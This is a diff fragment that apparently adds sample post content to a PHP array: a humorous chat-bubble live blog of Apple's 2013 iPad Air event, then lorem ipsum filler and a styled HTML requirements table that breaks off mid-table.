+<p class="triangle-right right">Bob, did you see John Siracusa\'s tweet?</p>
+<img class="alignleft" src="http://www.example.com/postimages/2013/bobm.jpeg" alt="" width="50" height="50" />
+<p class="triangle-right left">Yes I did.
+I have a feeling scrambling doesnt get to the heart of that.</p>
+<img class="alignright" src="http://www.example.com/postimages/2013/philipmetroid.jpg" alt="" width="50" height="50" />
+<p class="triangle-right right">Oh geez.</p>
+<img class="alignleft" src="http://www.example.com/postimages/2013/bobm.jpeg" alt="" width="50" height="50" />
+<p class="triangle-right left">WAIT WAIT WAIT ... IS THIS COLLABORATION!</p>
+<img class="alignright" src="http://www.example.com/postimages/2013/philipmetroid.jpg" alt="" width="50" height="50" />
+<p class="triangle-right right">Not by my definition...</p>
+<img class="alignleft" src="http://www.example.com/postimages/2013/aarone.jpeg" alt="" width="50" height="50" />
+<p class="triangle-right lefttwo">Stuck on a PC.
+Free.</p>
+<img class="alignright" src="http://www.example.com/postimages/2013/philipmetroid.jpg" alt="" width="50" height="50" />
+<p class="triangle-right right">FREE FOR EVERYONE
+... NOPE, Chuck Testa!
+With new purchase.</p>
+<img class="alignleft" src="http://www.example.com/postimages/2013/aarone.jpeg" alt="" width="50" height="50" />
+<p class="triangle-right lefttwo">.
+Today</p>
+<img class="alignright" src="http://www.example.com/postimages/2013/philipmetroid.jpg" alt="" width="50" height="50" />
+<p class="triangle-right right">I\'m just going to sell my Macbook air and buy a new one.</p>
+<img class="alignleft" src="http://www.example.com/postimages/2013/bobm.jpeg" alt="" width="50" height="50" />
+<p class="triangle-right left">Always.
+CRUDDY CRUD CRUD!</p>
+<img class="alignright" src="http://www.example.com/postimages/2013/philipmetroid.jpg" alt="" width="50" height="50" />
+<p class="triangle-right right">The biggest day ever for apps.</p>
+<img class="alignleft" src="http://www.example.com/postimages/2013/bobm.jpeg" alt="" width="50" height="50" />
+<p class="triangle-right left">Geez ... 20 apps!</p>
+<img class="alignright" src="http://www.example.com/postimages/2013/philipmetroid.jpg" alt="" width="50" height="50" />
+<p class="triangle-right right">Apple doesn\'t care about previous customers</p>
+<img class="alignleft" src="http://www.example.com/postimages/2013/bobm.jpeg" alt="" width="50" height="50" />
+<p class="triangle-right left">... COME ON PODCAST.APP!</p>
+<img class="alignright" src="http://www.example.com/postimages/2013/philipmetroid.jpg" alt="" width="50" height="50" />
+<p class="triangle-right right">20 apps?
+I only saw 3
+or 4</p>
+<img class="alignleft" src="http://www.example.com/postimages/2013/bobm.jpeg" alt="" width="50" height="50" />
+<p class="triangle-right left">Theyre pushing updates for 20 apps today.</p>
+<img class="alignleft" src="http://www.example.com/postimages/2013/aarone.jpeg" alt="" width="50" height="50" />
+<p class="triangle-right lefttwo">iPad announcement?</p>
+<img class="alignright" src="http://www.example.com/postimages/2013/philipmetroid.jpg" alt="" width="50" height="50" />
+<p class="triangle-right right">On it\'s ear!</p>
+<img class="alignleft" src="http://www.example.com/postimages/2013/bobm.jpeg" alt="" width="50" height="50" />
+<p class="triangle-right left">Im guessing that is next. Were only one hour in.</p>
+<img class="alignright" src="http://www.example.com/postimages/2013/philipmetroid.jpg" alt="" width="50" height="50" />
+<p class="triangle-right right">ON IT\'S EAR
+$1.99 upgrades!
+FREE MACS FOR EVERYONE!</p>
+<img class="alignleft" src="http://www.example.com/postimages/2013/bobm.jpeg" alt="" width="50" height="50" />
+<p class="triangle-right left">LOL</p>
+<img class="alignright" src="http://www.example.com/postimages/2013/philipmetroid.jpg" alt="" width="50" height="50" />
+<p class="triangle-right right">TIM COOK FOR PRESIDENT!</p>
+<img class="alignleft" src="http://www.example.com/postimages/2013/bobm.jpeg" alt="" width="50" height="50" />
+<p class="triangle-right left">I remember paying $10 for the iPod touch update.
+The sad part, they could give away almost everything and theyd still make money.
+Netbooks are old Chromebooks ...</p>
+<img class="alignright" src="http://www.example.com/postimages/2013/philipmetroid.jpg" alt="" width="50" height="50" />
+<p class="triangle-right right">LOOK AT ALL THESE LARGE NUMBERS!
+this chart proves that bigger numbers are near the top of the chart!</p>
+<img class="alignleft" src="http://www.example.com/postimages/2013/aarone.jpeg" alt="" width="50" height="50" />
+<p class="triangle-right lefttwo">That curve is going up and to the right!</p>
+<img class="alignleft" src="http://www.example.com/postimages/2013/bobm.jpeg" alt="" width="50" height="50" />
+<p class="triangle-right left">Maybe they flipped the chart?</p>
+<img class="alignright" src="http://www.example.com/postimages/2013/philipmetroid.jpg" alt="" width="50" height="50" />
+<p class="triangle-right right">I can\'t think of another product that has sold this many numbers of product!</p>
+<img class="alignleft" src="http://www.example.com/postimages/2013/aarone.jpeg" alt="" width="50" height="50" />
+<p class="triangle-right lefttwo">Doubters...</p>
+<img class="alignright" src="http://www.example.com/postimages/2013/philipmetroid.jpg" alt="" width="50" height="50" />
+<p class="triangle-right right">NO ONE has ever sold 170 million of anything!</p>
+<img class="alignleft" src="http://www.example.com/postimages/2013/aarone.jpeg" alt="" width="50" height="50" />
+<p class="triangle-right lefttwo">Blueberry Pie chart.</p>
+<img class="alignleft" src="http://www.example.com/postimages/2013/bobm.jpeg" alt="" width="50" height="50" />
+<p class="triangle-right left">Too bad I dont like blueberries.</p>
+<img class="alignright" src="http://www.example.com/postimages/2013/philipmetroid.jpg" alt="" width="50" height="50" />
+<p class="triangle-right right">Look at this pie chart! We\'re larger than the thing that isn\'t us!</p>
+<img class="alignleft" src="http://www.example.com/postimages/2013/aarone.jpeg" alt="" width="50" height="50" />
+<p class="triangle-right lefttwo">iPad now blue flavored.</p>
+<img class="alignright" src="http://www.example.com/postimages/2013/philipmetroid.jpg" alt="" width="50" height="50" />
+<p class="triangle-right right">Since we started tracking this, we have been the best at tracking this.</p>
+<img class="alignleft" src="http://www.example.com/postimages/2013/bobm.jpeg" alt="" width="50" height="50" />
+<p class="triangle-right left">iOS 7.1 today?</p>
+<img class="alignright" src="http://www.example.com/postimages/2013/philipmetroid.jpg" alt="" width="50" height="50" />
+<p class="triangle-right right">No one else can match this. NO ONE.</p>
+<img class="alignleft" src="http://www.example.com/postimages/2013/bobm.jpeg" alt="" width="50" height="50" />
+<p class="triangle-right left">More zeroes.</p>
+<img class="alignright" src="http://www.example.com/postimages/2013/philipmetroid.jpg" alt="" width="50" height="50" />
+<p class="triangle-right right">If we say this enough, everyone will believe it.</p>
+<img class="alignleft" src="http://www.example.com/postimages/2013/aarone.jpeg" alt="" width="50" height="50" />
+<p class="triangle-right lefttwo">Productive.
+Look a racing game!</p>
+<img class="alignleft" src="http://www.example.com/postimages/2013/bobm.jpeg" alt="" width="50" height="50" />
+<p class="triangle-right left">Too much exposition.
+No new iPads!
+We designed iPad ...
+Like a family pet.</p>
+<img class="alignleft" src="http://www.example.com/postimages/2013/aarone.jpeg" alt="" width="50" height="50" />
+<p class="triangle-right lefttwo">Video!</p>
+<img class="alignleft" src="http://www.example.com/postimages/2013/bobm.jpeg" alt="" width="50" height="50" />
+<p class="triangle-right left">We fed Molly...</p>
+<img class="alignleft" src="http://www.example.com/postimages/2013/aarone.jpeg" alt="" width="50" height="50" />
+<p class="triangle-right lefttwo">Video!</p>
+<img class="alignright" src="http://www.example.com/postimages/2013/philipmetroid.jpg" alt="" width="50" height="50" />
+<p class="triangle-right right">LOOK AT ALL THESE BIG NUMBERS!!! But let\'s be honest, it\'s not about the numbers... though, our numbers are bigger than other people\'s numbers, but we really want to focus on our Quality... OF THIS NEW VIDEO!</p>
+<img class="alignleft" src="http://www.example.com/postimages/2013/bobm.jpeg" alt="" width="50" height="50" />
+<p class="triangle-right left">They should do an audio-only video.</p>
+<img class="alignright" src="http://www.example.com/postimages/2013/philipmetroid.jpg" alt="" width="50" height="50" />
+<p class="triangle-right right">Look Bob! A farming app!</p>
+<img class="alignleft" src="http://www.example.com/postimages/2013/bobm.jpeg" alt="" width="50" height="50" />
+<p class="triangle-right left">I WAS COMBINING THIS WEEKEND!</p>
+<img class="alignright" src="http://www.example.com/postimages/2013/philipmetroid.jpg" alt="" width="50" height="50" />
+<p class="triangle-right right">It\'s like they understand you!</p>
+<img class="alignleft" src="http://www.example.com/postimages/2013/bobm.jpeg" alt="" width="50" height="50" />
+<p class="triangle-right left">Sadly, that particular one is tied to a particular system on very expensive new machines.</p>
+<img class="alignleft" src="http://www.example.com/postimages/2013/aarone.jpeg" alt="" width="50" height="50" />
+<p class="triangle-right lefttwo">This is the best video.</p>
+<img class="alignright" src="http://www.example.com/postimages/2013/philipmetroid.jpg" alt="" width="50" height="50" />
+<p class="triangle-right right">Look, here\'s a firefighter playing angry birds.</p>
+<img class="alignleft" src="http://www.example.com/postimages/2013/aarone.jpeg" alt="" width="50" height="50" />
+<p class="triangle-right lefttwo">Surgeons playing ERT2</p>
+<img class="alignleft" src="http://www.example.com/postimages/2013/bobm.jpeg" alt="" width="50" height="50" />
+<p class="triangle-right left">Ive personally used my iPad for business meetings.
+How are these people getting cell reception in these areas!?</p>
+<img class="alignright" src="http://www.example.com/postimages/2013/philipmetroid.jpg" alt="" width="50" height="50" />
+<p class="triangle-right right">It\'s much more interesting to look at the world through your iPad if you\'re at the great wall of China.</p>
+<img class="alignleft" src="http://www.example.com/postimages/2013/aarone.jpeg" alt="" width="50" height="50" />
+<p class="triangle-right lefttwo">I want to know how many of the shots are real. Some seem too good to be true</p>
+<img class="alignright" src="http://www.example.com/postimages/2013/philipmetroid.jpg" alt="" width="50" height="50" />
+<p class="triangle-right right">That\'s an amazing video...
+And amazing stories...</p>
+<img class="alignleft" src="http://www.example.com/postimages/2013/aarone.jpeg" alt="" width="50" height="50" />
+<p class="triangle-right lefttwo">Lots of helicopter shots.</p>
+<img class="alignright" src="http://www.example.com/postimages/2013/philipmetroid.jpg" alt="" width="50" height="50" />
+<p class="triangle-right right">...so we hire pixar to make movies about every scene in that video.
+HEY! IT\'S OTHER ME!</p>
+<img class="alignleft" src="http://www.example.com/postimages/2013/bobm.jpeg" alt="" width="50" height="50" />
+<p class="triangle-right left">Phils back!
+BRING US CRAIG!</p>
+<img class="alignright" src="http://www.example.com/postimages/2013/philipmetroid.jpg" alt="" width="50" height="50" />
+<p class="triangle-right right">Hello!
+13 INCH IPAD</p>
+<img class="alignleft" src="http://www.example.com/postimages/2013/aarone.jpeg" alt="" width="50" height="50" />
+<p class="triangle-right lefttwo">Craig is doing his hair.</p>
+<img class="alignright" src="http://www.example.com/postimages/2013/philipmetroid.jpg" alt="" width="50" height="50" />
+<p class="triangle-right right">And tucking in his shirt.
+"Relentless path"</p>
+<img class="alignleft" src="http://www.example.com/postimages/2013/bobm.jpeg" alt="" width="50" height="50" />
+<p class="triangle-right left">Remarkable.
+DRINK!</p>
+<img class="alignleft" src="http://www.example.com/postimages/2013/aarone.jpeg" alt="" width="50" height="50" />
+<p class="triangle-right lefttwo">Biggest step.</p>
+<img class="alignright" src="http://www.example.com/postimages/2013/philipmetroid.jpg" alt="" width="50" height="50" />
+<p class="triangle-right right">"Incredible vision," "Quite remarkable"
+In VIDEO FORM!</p>
+<img class="alignleft" src="http://www.example.com/postimages/2013/aarone.jpeg" alt="" width="50" height="50" />
+<p class="triangle-right lefttwo">Video.</p>
+<img class="alignleft" src="http://www.example.com/postimages/2013/bobm.jpeg" alt="" width="50" height="50" />
+<p class="triangle-right left">Why do we hate articles?</p>
+<img class="alignleft" src="http://www.example.com/postimages/2013/aarone.jpeg" alt="" width="50" height="50" />
+<p class="triangle-right lefttwo">It\'s anti gravity!</p>
+<img class="alignleft" src="http://www.example.com/postimages/2013/bobm.jpeg" alt="" width="50" height="50" />
+<p class="triangle-right left">No TouchID.</p>
+<img class="alignright" src="http://www.example.com/postimages/2013/philipmetroid.jpg" alt="" width="50" height="50" />
+<p class="triangle-right right">Wait, what?</p>
+<img class="alignleft" src="http://www.example.com/postimages/2013/bobm.jpeg" alt="" width="50" height="50" />
+<p class="triangle-right left">I didnt see it.</p>
+<img class="alignright" src="http://www.example.com/postimages/2013/philipmetroid.jpg" alt="" width="50" height="50" />
+<p class="triangle-right right">NEW NEW IPAD</p>
+<img class="alignleft" src="http://www.example.com/postimages/2013/bobm.jpeg" alt="" width="50" height="50" />
+<p class="triangle-right left">iPad Air?
+WHAT THE FREAK!?</p>
+<img class="alignleft" src="http://www.example.com/postimages/2013/aarone.jpeg" alt="" width="50" height="50" />
+<p class="triangle-right lefttwo">iPad air? Really?</p>
+<img class="alignright" src="http://www.example.com/postimages/2013/philipmetroid.jpg" alt="" width="50" height="50" />
+<p class="triangle-right right">Wait... 9.7 is air?</p>
+<img class="alignleft" src="http://www.example.com/postimages/2013/bobm.jpeg" alt="" width="50" height="50" />
+<p class="triangle-right left">Has to be pricing pressure.</p>
+<img class="alignright" src="http://www.example.com/postimages/2013/philipmetroid.jpg" alt="" width="50" height="50" />
+<p class="triangle-right right">So... what happened to the mini?</p>
+<img class="alignleft" src="http://www.example.com/postimages/2013/bobm.jpeg" alt="" width="50" height="50" />
+<p class="triangle-right left">Drop the price on Fat iPad.</p>
+<img class="alignright" src="http://www.example.com/postimages/2013/philipmetroid.jpg" alt="" width="50" height="50" />
+<p class="triangle-right right">The NEW NEW IPAD AIR MINI!</p>
+<img class="alignleft" src="http://www.example.com/postimages/2013/bobm.jpeg" alt="" width="50" height="50" />
+<p class="triangle-right left">Drop the price on iPad mini.</p>
+<img class="alignright" src="http://www.example.com/postimages/2013/philipmetroid.jpg" alt="" width="50" height="50" />
+<p class="triangle-right right">That\'s an amazingly thin iPad!</p>
+<img class="alignleft" src="http://www.example.com/postimages/2013/aarone.jpeg" alt="" width="50" height="50" />
+<p class="triangle-right lefttwo">Little numbers!</p>
+<img class="alignleft" src="http://www.example.com/postimages/2013/bobm.jpeg" alt="" width="50" height="50" />
+<p class="triangle-right left">Nicely stated Aaron.</p>
+<img class="alignright" src="http://www.example.com/postimages/2013/philipmetroid.jpg" alt="" width="50" height="50" />
+<p class="triangle-right right">LOOK AT HOW SMALL THESE NUMBERS ARE! No one has numbers this small!</p>
+<img class="alignleft" src="http://www.example.com/postimages/2013/bobm.jpeg" alt="" width="50" height="50" />
+<p class="triangle-right left">More tiny numbers.</p>
+<img class="alignleft" src="http://www.example.com/postimages/2013/aarone.jpeg" alt="" width="50" height="50" />
+<p class="triangle-right lefttwo">No way lighter?</p>
+<img class="alignleft" src="http://www.example.com/postimages/2013/bobm.jpeg" alt="" width="50" height="50" />
+<p class="triangle-right left">It would be awesome if it were heavier.</p>
+<img class="alignleft" src="http://www.example.com/postimages/2013/aarone.jpeg" alt="" width="50" height="50" />
+<p class="triangle-right lefttwo">It\'s so light it might blow away outdoors.</p>
+<img class="alignright" src="http://www.example.com/postimages/2013/philipmetroid.jpg" alt="" width="50" height="50" />
+<p class="triangle-right right">Lightest Full size tablet in the world*</p>
+<img class="alignleft" src="http://www.example.com/postimages/2013/bobm.jpeg" alt="" width="50" height="50" />
+<p class="triangle-right left">Weve made it out of lead!
+A7 ...</p>
+<img class="alignright" src="http://www.example.com/postimages/2013/philipmetroid.jpg" alt="" width="50" height="50" />
+<p class="triangle-right right">The AIR... BLOWS everything away... get it? get it? get it?</p>
+<img class="alignleft" src="http://www.example.com/postimages/2013/bobm.jpeg" alt="" width="50" height="50" />
+<p class="triangle-right left">Which is good, but ... TouchID?</p>
+<img class="alignleft" src="http://www.example.com/postimages/2013/aarone.jpeg" alt="" width="50" height="50" />
+<p class="triangle-right lefttwo">Blue curves!</p>
+<img class="alignright" src="http://www.example.com/postimages/2013/philipmetroid.jpg" alt="" width="50" height="50" />
+<p class="triangle-right right">Too thin for touch id.</p>
+<img class="alignleft" src="http://www.example.com/postimages/2013/bobm.jpeg" alt="" width="50" height="50" />
+<p class="triangle-right left">Thats important because IT IS PUSHING DESKTOP RESOLUTION!
+Thats my thought as well.</p>
+<img class="alignright" src="http://www.example.com/postimages/2013/philipmetroid.jpg" alt="" width="50" height="50" />
+<p class="triangle-right right">What\'s MIMO?</p>
+<img class="alignleft" src="http://www.example.com/postimages/2013/bobm.jpeg" alt="" width="50" height="50" />
+<p class="triangle-right left">Using multiple antenna for wifi.</p>
+<img class="alignright" src="http://www.example.com/postimages/2013/philipmetroid.jpg" alt="" width="50" height="50" />
+<p class="triangle-right right">hmmm</p>
+<img class="alignleft" src="http://www.example.com/postimages/2013/bobm.jpeg" alt="" width="50" height="50" />
+<p class="triangle-right left">Faster, better range, etc.
+It is better, youre going to buy it, so just go now.</p>
+<img class="alignleft" src="http://www.example.com/postimages/2013/aarone.jpeg" alt="" width="50" height="50" />
+<p class="triangle-right lefttwo">Dual microphones! Stereo recordings!
+No gold?</p>
+<img class="alignleft" src="http://www.example.com/postimages/2013/bobm.jpeg" alt="" width="50" height="50" />
+<p class="triangle-right left">Same battery life that much thinner and lighter, what are they doing?</p>
+<img class="alignleft" src="http://www.example.com/postimages/2013/aarone.jpeg" alt="" width="50" height="50" />
+<p class="triangle-right lefttwo">Magic.</p>
+<img class="alignright" src="http://www.example.com/postimages/2013/philipmetroid.jpg" alt="" width="50" height="50" />
+<p class="triangle-right right">$4.99! WERE GOING FREE BABY!</p>
+<img class="alignleft" src="http://www.example.com/postimages/2013/bobm.jpeg" alt="" width="50" height="50" />
+<p class="triangle-right left">WHAT!?
+IPAD 2 IS STILL AROUND!?</p>
+<img class="alignright" src="http://www.example.com/postimages/2013/philipmetroid.jpg" alt="" width="50" height="50" />
+<p class="triangle-right right">We\'re keeping this iPad around for people who still like things that weigh a ton.</p>
+<img class="alignleft" src="http://www.example.com/postimages/2013/bobm.jpeg" alt="" width="50" height="50" />
+<p class="triangle-right left">Has to do with graphics only, the A6X and A5X were SERIOUSLY underpowered graphics wise.</p>
+<img class="alignleft" src="http://www.example.com/postimages/2013/aarone.jpeg" alt="" width="50" height="50" />
+<p class="triangle-right lefttwo">Video!</p>
+<img class="alignleft" src="http://www.example.com/postimages/2013/bobm.jpeg" alt="" width="50" height="50" />
+<p class="triangle-right left">Please bring Jony ...
+YES!</p>
+<img class="alignright" src="http://www.example.com/postimages/2013/philipmetroid.jpg" alt="" width="50" height="50" />
+<p class="triangle-right right">JOHNNY IVES!</p>
+<img class="alignleft" src="http://www.example.com/postimages/2013/aarone.jpeg" alt="" width="50" height="50" />
+<p class="triangle-right lefttwo">Jony Ives.</p>
+<img class="alignleft" src="http://www.example.com/postimages/2013/bobm.jpeg" alt="" width="50" height="50" />
+<p class="triangle-right left">Aluminium ... come on ... say it ...
+I was afraid that Jony has left ...</p>
+<img class="alignleft" src="http://www.example.com/postimages/2013/aarone.jpeg" alt="" width="50" height="50" />
+<p class="triangle-right lefttwo">Robot that drops iPads.</p>
+<img class="alignright" src="http://www.example.com/postimages/2013/philipmetroid.jpg" alt="" width="50" height="50" />
+<p class="triangle-right right">Is the mini gone?</p>
+<img class="alignleft" src="http://www.example.com/postimages/2013/aarone.jpeg" alt="" width="50" height="50" />
+<p class="triangle-right lefttwo">Airplanes!</p>
+<img class="alignleft" src="http://www.example.com/postimages/2013/bobm.jpeg" alt="" width="50" height="50" />
+<p class="triangle-right left">Dont know yet. Well see.
+AND AIRPLANES!</p>
+<img class="alignleft" src="http://www.example.com/postimages/2013/aarone.jpeg" alt="" width="50" height="50" />
+<p class="triangle-right lefttwo">More planes.</p>
+<img class="alignright" src="http://www.example.com/postimages/2013/philipmetroid.jpg" alt="" width="50" height="50" />
+<p class="triangle-right right">LOL</p>
+<img class="alignleft" src="http://www.example.com/postimages/2013/bobm.jpeg" alt="" width="50" height="50" />
+<p class="triangle-right left">THE IPAD AIR ... GET IT ... AIRPLANES!
+PEOPLE JUMPING IN THE AIR!</p>
+<img class="alignright" src="http://www.example.com/postimages/2013/philipmetroid.jpg" alt="" width="50" height="50" />
+<p class="triangle-right right">I don\'t understand.</p>
+<img class="alignleft" src="http://www.example.com/postimages/2013/bobm.jpeg" alt="" width="50" height="50" />
+<p class="triangle-right left">STANDING IN AIR!</p>
+<img class="alignleft" src="http://www.example.com/postimages/2013/aarone.jpeg" alt="" width="50" height="50" />
+<p class="triangle-right lefttwo">That\'s looked like an expensive apartment.</p>
+<img class="alignright" src="http://www.example.com/postimages/2013/philipmetroid.jpg" alt="" width="50" height="50" />
+<p class="triangle-right right">Can you explain it?</p>
+<img class="alignleft" src="http://www.example.com/postimages/2013/aarone.jpeg" alt="" width="50" height="50" />
+<p class="triangle-right lefttwo">Craig!</p>
+<img class="alignleft" src="http://www.example.com/postimages/2013/bobm.jpeg" alt="" width="50" height="50" />
+<p class="triangle-right left">YES!
+BRING OUT CRAIG!</p>
+<img class="alignright" src="http://www.example.com/postimages/2013/philipmetroid.jpg" alt="" width="50" height="50" />
+<p class="triangle-right right">Tom Merritt: "We have machined the tears of unicorns into the edge and compressed babies wishes into it\'s case. It weighs 1 butterfly kiss."
+"The newest thing we built is the most advanced thing we have ever built"</p>
+<img class="alignleft" src="http://www.example.com/postimages/2013/bobm.jpeg" alt="" width="50" height="50" />
+<p class="triangle-right left">And now weve decided to discontinue it and release the iPad nano!</p>
+<img class="alignright" src="http://www.example.com/postimages/2013/philipmetroid.jpg" alt="" width="50" height="50" />
+<p class="triangle-right right">He\'s struggling for a list of things that people do with their iPad... CRASH AND BURN!</p>
+<img class="alignleft" src="http://www.example.com/postimages/2013/bobm.jpeg" alt="" width="50" height="50" />
+<p class="triangle-right left">It is hard when they do so many things.
+Missed it, what was announced?
+Ah, Retina ...</p>
+<img class="alignright" src="http://www.example.com/postimages/2013/philipmetroid.jpg" alt="" width="50" height="50" />
+<p class="triangle-right right">It\'s only $399!</p>
+<img class="alignleft" src="http://www.example.com/postimages/2013/bobm.jpeg" alt="" width="50" height="50" />
+<p class="triangle-right left">LOL</p>
+<img class="alignright" src="http://www.example.com/postimages/2013/philipmetroid.jpg" alt="" width="50" height="50" />
+<p class="triangle-right right">You can hear a pin drop in the audience.</p>
+<img class="alignleft" src="http://www.example.com/postimages/2013/bobm.jpeg" alt="" width="50" height="50" />
+<p class="triangle-right left">LOL
+A significant price point, but ... eh.</p>
+<img class="alignright" src="http://www.example.com/postimages/2013/philipmetroid.jpg" alt="" width="50" height="50" />
+<p class="triangle-right right">Oh, $299... and then they clap...</p>
+<img class="alignleft" src="http://www.example.com/postimages/2013/bobm.jpeg" alt="" width="50" height="50" />
+<p class="triangle-right left">I cannot believe that the iPad 2 is hanging around.
+Truly a zombie.
+Did I miss the fact that the Air has an A6X?
+Sorry, mini.</p>
+<img class="alignleft" src="http://www.example.com/postimages/2013/aarone.jpeg" alt="" width="50" height="50" />
+<p class="triangle-right lefttwo">Reach under your seat. Free iPads for everyone</p>
+<img class="alignright" src="http://www.example.com/postimages/2013/philipmetroid.jpg" alt="" width="50" height="50" />
+<p class="triangle-right right">Another video
+It\'s hiding behind this pencil.</p>
+<img class="alignleft" src="http://www.example.com/postimages/2013/aarone.jpeg" alt="" width="50" height="50" />
+<p class="triangle-right lefttwo">Ipencil.</p>
+<img class="alignright" src="http://www.example.com/postimages/2013/philipmetroid.jpg" alt="" width="50" height="50" />
+<p class="triangle-right right">iPad. iPad 2. New iPad. iPad Air. Because we can\'t figure out a naming scheme that works...</p>
+<img class="alignleft" src="http://www.example.com/postimages/2013/aarone.jpeg" alt="" width="50" height="50" />
+<p class="triangle-right lefttwo">Just play the Mac Pro assembly line video again.</p>
+<img class="alignright" src="http://www.example.com/postimages/2013/philipmetroid.jpg" alt="" width="50" height="50" />
+<p class="triangle-right right">No musical guest? SELL YOUR STOCK</p>
+<img class="alignleft" src="http://www.example.com/postimages/2013/aarone.jpeg" alt="" width="50" height="50" />
+<p class="triangle-right lefttwo">Eddy.
+He\'s gonna play.</p>
+<img class="alignleft" src="http://www.example.com/postimages/2013/bobm.jpeg" alt="" width="50" height="50" />
+<p class="triangle-right left">4 grand for the 6-core Mac Pro.
+6 GB of video RAM.</p>
+<img class="alignleft" src="http://www.example.com/postimages/2013/aarone.jpeg" alt="" width="50" height="50" />
+<p class="triangle-right lefttwo">Hmmm</p>
+<img class="alignleft" src="http://www.example.com/postimages/2013/bobm.jpeg" alt="" width="50" height="50" />
+<p class="triangle-right left">Thank you gentleman.</p>
+<img class="alignright" src="http://www.example.com/postimages/2013/philipmetroid.jpg" alt="" width="50" height="50" />
+<p class="triangle-right right">No, thank you.</p>
+<img class="alignleft" src="http://www.example.com/postimages/2013/aarone.jpeg" alt="" width="50" height="50" />
+<p class="triangle-right lefttwo">Thanks for a magical event</p>
+<img class="alignleft" src="http://www.example.com/postimages/2013/bobm.jpeg" alt="" width="50" height="50" />
+<p class="triangle-right left">Darn right!</p>'),
+
+/* DIVIDER */
+
+array('<em>Lorem ipsum dolor sit amet, quo id ignota repudiare, ius iracundia rationibus an, ea natum causae epicuri has.</em>
+
+His porro deleniti cu. "Eam ut quem alia reprimique." Quas tollit tincidunt his eu, nam ex cibo illud cetero. In perpetua dignissim mel, te utinam vituperata per.
+
+ Erat tibique hendrerit et duo, qui iriure tacimates ne, per eu solum admodum ocurreret. Cu ius utinam equidem saperet, mei tation nostrud scripserit ne. Sea et vide natum. Homero constituto eu est, quo eu veniam omnium feugait. Vel enim commune no.
+
+ Option verterem eum te, quot discere neglegentur nam at. No rebum convenire disputationi pro, libris possim eruditi (id) est. Unum ubique scaevola sed ad. Quas decore periculis ius eu, quod nibh quando ea ius. Ea essent omnesque mei, possit verear aperiri ea mel, mea fabellas urbanitas pertinacia ei. Maiorum sensibus at duo, eum ea veritus splendide.
+
+ Ex quo noster alterum sanctus. Vel ei blandit adversarium, ad iriure scripta eruditi nam. Quo semper noluisse consectetuer te. Probatus mediocritatem necessitatibus ne pro. Vix ne consul soluta dissentiet.
+
+ Vix augue vivendum sadipscing ei, diam elaboraret scribentur no mea. Te pri nullam reprehendunt, ornatus maiorum ne qui. Et mei accusam singulis. Et est intellegat posidonium, no usu purto bonorum facilisi. Saperet cotidieque eu mel.
+
+ Nonumy pericula vis id, illum nobis aliquando cum ei, altera aeterno mediocritatem pro ea. At duo quaeque dolorem. Vidit tantas ea vim, quis feugiat delenit vix ad, te per choro omnesque. Eum id duis facilisis. Purto intellegat duo no, ne ipsum praesent moderatius vis, et meliore scriptorem vim.
+
+<!--more-->
+<table style="clear: both; margin: 14px; float: left;"><colgroup span="5"></colgroup>
+<tbody>
+<tr style="height: 20px;">
+<th></th>
+<th style="text-align: center;" colspan="2">Lorem ipsum</th>
+<th style="text-align: center;" colspan="2">Lorem ipsum</th>
+</tr>
+<tr>
+<th>Requirements</th>
+<th>Minimums</th>
+<th style="text-align: center; margin-right: 15px;">Status</th>
+<th style="padding: 0 8px;">Minimums</th>
+<th style="text-align: center;">Status</th>
+</tr>
+<tr>
+<td>Age</td>
+<td>Lorem ipsum</td>
+<td style="color: #006100; text-align: center; background: #C6EFCE;">Yes</td>
+<td style="padding: 0 8px;">Lorem ipsum</td>
+<td style="color: #006100; text-align: center; background: #C6EFCE;">Yes</td>
+</tr>
+<tr>
+<td>Total</td>
+<td>Lorem ipsum</td>
+<td style="color: #9c0006; text-align: center; background: #FFC7CE;">100%</td>
+<td style="padding: 0 8px;">Lorem ipsum</td>
+<td style="color: #9c0006; text-align: center; background: #FFC7CE;">100%</td>
+</tr>
+<tr>
+<td>Education</td>
+<td>Lorem ipsum</td>
+<td style="color: #006100; text-align: center; background: #C6EFCE;">Yes</td>
+<td></td>
+<td style="color: #006100; text-align: center; background: #C6EFCE;">n/a</td>
+</tr>
+<tr>
+<td>Concentration</td>
+<td>Lorem ipsum</td>
+<td style="color: #006100; text-align: center; background: #C6EFCE;">Yes</td>
+<td></td>
+<td style="color: #006100; text-align: center; background: #C6EFCE;">n/a</td>
+</tr>
+<tr>
+<td>Certification</td>
+<td>Lorem ipsum</td>
+<td style="color: #9c0006; text-align: center; background: #FFC7CE;">No</td>
+<td></td>
+<td style="color: #006100; text-align: center; background: #C6EFCE;">n/a</td>
+</tr>
+<tr>
+<td>Recognized Coursework</td>
+<td>Lorem ipsum</td>
+<td style="color: #9c6500; text-align: center; background: #FFEB9C;">TBD</td>
+<td></td>
+<td style="color: #006100; text-align: center; background: #C6EFCE;">n/a</td>
+</tr>
+<tr>
+<td>Lorem ipsum</td>
+<td>Lorem ipsum</td>
+<td style="color: #006100; text-align: center; background: #C6EFCE;">Yes</td>
+<td></td>
+<td style="color: #006100; text-align: center; background: #C6EFCE;">n/a</td>
+</tr>
+<tr>
+<td>Lorem ipsum</td>
+<td>Lorem ipsum</td>
+<td style="color: #006100; text-align: center; background: #C6EFCE;">Yes</td>
+<td></td>
+<td style="color: #006100; text-align: center; background: #C6EFCE;">n/a</td>
+</tr>
+<tr>
+<td>Lorem ipsum</td>
+<td>Lorem ipsum</td>
+<td style="color: #006100; text-align: center; background: #C6EFCE;">Yes</td>
+<td></td>
+<td style="color: #006100; text-align: center; background: #C6EFCE;">n/a</td>
+</tr>
+<tr>
+<td>Lorem ipsum</td>
+<td>Lorem ipsum</td>
+<td style="color: #006100; text-align: center; background: #C6EFCE;">Yes</td>
+<td></td>
+<td style="color: #006100; text-align: center; background: #C6EFCE;">n/a</td>
+</tr>
+<tr>
+<td>Lorem ipsum</td>
+<td>Lorem ipsum</td>
+<td style="color: #9c0006; text-align: center; background: #FFC7CE;">80%</td>
+<td style="padding: 0 8px;">200 hours</td>
+<td style="color: #9c0006; text-align: center; background: #FFC7CE;">80%</td>
+</tr>
+<tr>
+<td>Lorem ipsum</td>
+<td>Lorem ipsum</td>
+<td style="color: #006100; text-align: center; background: #C6EFCE;">by credit</td>
+<td style="padding: 0 8px;">100 hours</td>
+<td style="color: #006100; text-align: center; background: #C6EFCE;">by credit</td>
+</tr>
+<tr>
+<td>Lorem ipsum</td>
+<td>Lorem ipsum</td>
+<td style="color: #9c0006; text-align: center; background: #FFC7CE;">60%</td>
+<td style="padding: 0 8px;">50 hours</td>
